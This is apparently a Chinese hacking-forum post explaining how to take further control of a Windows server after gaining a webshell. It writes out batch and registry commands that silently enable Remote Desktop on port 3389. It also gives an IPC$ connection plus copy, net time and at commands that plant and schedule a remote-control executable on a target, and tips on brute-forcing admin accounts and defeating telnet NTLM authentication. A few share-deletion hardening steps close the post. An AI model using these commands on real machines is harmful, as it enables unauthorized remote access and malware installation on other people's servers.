author:b1uer4y

T00lsid:meao   小站:www.secmao.tk

别喷我,老方法,现在貌似适用的情况不是很多

当你获得了一个webshell,并且提升了自己的权限时,是否就一定能进行远程连接呢?

有时会苦于3389端口未开启而不得不终止自己的入侵,当你的webshell的ws组件未被删除时,

或许可以用dos命令来恢复远程终端连接.附上远程端口开启的命令:

echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3e>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3e>>3389.reg
regedit /s 3389.reg
del 3389.reg

还提供一个方法,修改注册表开启,什么版本的都适用的,且不会重启。附上命令:

reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /F
reg add     "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0

若是ws组件被删除,虽然网上流传一段asp文件调用ws的代码,可是我没有成功过

给出ipc命令的格式

net use \\ip\ipc$ "pass" /user: "name"

copy命令配合at,net time命令可以玩玩全全的拿下一台未开有3389的服务器

假设服务器ip未192.168.1.1

先进行ipc连接,然后copy gezi.exe \\192.168.1.1\c$

再net time \\192.168.1.1 获取时间 ,假设为10:00

再执行at \\192.168.1.1 10:01 c:\gezi.exe

(注:这里的gezi.exe可以使远控,可以是开3389的程序,都行)

如若运气好,可进行ipc空连接,可以进行枚举的方法对管理员账号进行破解

防范的方法:

net share ipc$ /del

net share c$ /del 类推,用几个盘就执行几次

禁止ipc空连接,可以修改注册表

[hkey_local_machine\system\currentcontrolset\control\lsa]把restrict anonymous=dword的键值改为00000001,

重启生效,最后net stop server /y 到这里ipc的漏洞算是补上了

最后想接下telnet入侵,当连接了ipc,可以用netsvc命令开启telnet

由于telnet危害巨大,所以telnet启用NTLM认证,不过几个简单的步骤就可以使他形同虚设

首先 开始--程序--附件--命令提示符--右键--属性

以其他用户身份运行前面打钩,输入administrator,密码留空就可以破解

虽然是老技术了,可是dos下的入侵仍然是经典,说不定什么时候就用上了

大家别喷我,一个一个字码出来可是很累的,没有功劳,也有苦劳